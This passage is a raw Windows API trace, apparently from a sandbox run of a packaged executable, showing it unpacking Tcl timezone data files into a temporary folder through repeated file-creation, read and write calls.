SetLastError (dwErrCode=0x2) [0041.849] GetLastError () returned 0x2 [0041.849] SetLastError (dwErrCode=0x2) [0041.849] GetLastError () returned 0x2 [0041.849] SetLastError (dwErrCode=0x2) [0041.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0") returned 66 [0041.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+0"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.849] GetFileType (hFile=0x10c) returned 0x1 [0041.849] htonl (hostlong=0x9a000000) returned 0x9a [0041.849] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.849] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9a, lpOverlapped=0x0) returned 1 [0041.850] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.850] CloseHandle (hObject=0x10c) returned 1 [0041.850] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.850] htonl (hostlong=0x30000000) returned 0x30 [0041.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.851] GetFileType (hFile=0x10c) returned 0x1 [0041.851] htonl (hostlong=0x4bb55b00) returned 0x5bb54b [0041.851] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x60654b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.851] htonl (hostlong=0x73000000) returned 0x73 [0041.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x73) returned 0x55cfe0 [0041.851] htonl (hostlong=0x73000000) returned 0x73 [0041.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.851] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.851] htonl (hostlong=0x71000000) returned 0x71 [0041.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x71) returned 0x550600 [0041.851] htonl (hostlong=0x73000000) returned 0x73 [0041.851] htonl (hostlong=0x71000000) returned 0x71 [0041.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.851] CloseHandle (hObject=0x10c) returned 1 [0041.851] GetLastError () returned 0x0 [0041.851] SetLastError (dwErrCode=0x0) [0041.851] GetLastError () returned 0x0 [0041.851] SetLastError (dwErrCode=0x0) [0041.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.851] GetFileType (hFile=0x10c) returned 0x1 [0041.851] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.852] CloseHandle (hObject=0x10c) returned 1 [0041.852] GetLastError () returned 0x0 [0041.852] SetLastError (dwErrCode=0x0) [0041.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.852] GetFileType (hFile=0x10c) returned 0x1 [0041.852] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.852] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.852] CloseHandle (hObject=0x10c) returned 1 [0041.852] GetLastError () returned 0x0 [0041.852] SetLastError (dwErrCode=0x0) [0041.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.853] GetFileType (hFile=0x10c) returned 0x1 [0041.853] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.853] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.853] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.853] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.853] CloseHandle (hObject=0x10c) returned 1 [0041.853] GetLastError () returned 0x0 [0041.853] SetLastError (dwErrCode=0x0) [0041.853] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1") returned 66 [0041.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+1"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.853] GetLastError () returned 0x2 [0041.853] SetLastError (dwErrCode=0x2) [0041.853] GetLastError () returned 0x2 [0041.853] SetLastError (dwErrCode=0x2) [0041.853] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1", lpFilePart=0x0) returned 0x41 [0041.853] GetLastError () returned 0x2 [0041.853] SetLastError (dwErrCode=0x2) [0041.853] GetLastError () returned 0x2 [0041.853] SetLastError (dwErrCode=0x2) [0041.853] GetLastError () returned 0x2 [0041.853] SetLastError (dwErrCode=0x2) [0041.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1") returned 66 [0041.854] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+1"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.854] GetFileType (hFile=0x10c) returned 0x1 [0041.854] htonl (hostlong=0x71000000) returned 0x71 [0041.854] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.854] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x71, lpOverlapped=0x0) returned 1 [0041.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.855] CloseHandle (hObject=0x10c) returned 1 [0041.855] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.855] htonl (hostlong=0x30000000) returned 0x30 [0041.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.856] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.856] GetFileType (hFile=0x10c) returned 0x1 [0041.856] htonl (hostlong=0xbeb55b00) returned 0x5bb5be [0041.856] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6065be, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.856] htonl (hostlong=0x75000000) returned 0x75 [0041.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x75) returned 0x55cfe0 [0041.856] htonl (hostlong=0x75000000) returned 0x75 [0041.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.856] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.856] htonl (hostlong=0x74000000) returned 0x74 [0041.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x74) returned 0x550600 [0041.856] htonl (hostlong=0x75000000) returned 0x75 [0041.856] htonl (hostlong=0x74000000) returned 0x74 [0041.856] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.856] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.856] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.856] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.856] CloseHandle (hObject=0x10c) returned 1 [0041.857] GetLastError () returned 0x0 [0041.857] SetLastError (dwErrCode=0x0) [0041.857] GetLastError () returned 0x0 [0041.857] SetLastError (dwErrCode=0x0) [0041.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.857] GetFileType (hFile=0x10c) returned 0x1 [0041.857] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.857] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.857] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.857] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.857] CloseHandle (hObject=0x10c) returned 1 [0041.857] GetLastError () returned 0x0 [0041.857] SetLastError (dwErrCode=0x0) [0041.857] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.858] GetFileType (hFile=0x10c) returned 0x1 [0041.858] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.858] CloseHandle (hObject=0x10c) returned 1 [0041.858] GetLastError () returned 0x0 [0041.858] SetLastError (dwErrCode=0x0) [0041.858] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc") returned 60 [0041.858] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.858] GetFileType (hFile=0x10c) returned 0x1 [0041.858] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.858] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.858] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.858] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.859] CloseHandle (hObject=0x10c) returned 1 [0041.859] GetLastError () returned 0x0 [0041.859] SetLastError (dwErrCode=0x0) [0041.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10") returned 67 [0041.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+10"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.859] GetLastError () returned 0x2 [0041.859] SetLastError (dwErrCode=0x2) [0041.859] GetLastError () returned 0x2 [0041.859] SetLastError (dwErrCode=0x2) [0041.859] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10", lpFilePart=0x0) returned 0x42 [0041.859] GetLastError () returned 0x2 [0041.859] SetLastError (dwErrCode=0x2) [0041.859] GetLastError () returned 0x2 [0041.859] SetLastError (dwErrCode=0x2) [0041.859] GetLastError () returned 0x2 [0041.859] SetLastError (dwErrCode=0x2) [0041.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10") returned 67 [0041.859] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Etc\\GMT+10" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\etc\\gmt+10"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.859] GetFileType (hFile=0x10c) returned 0x1 [0041.859] htonl (hostlong=0x74000000) returned 0x74 [0041.859] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.860] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x4fcd6c, 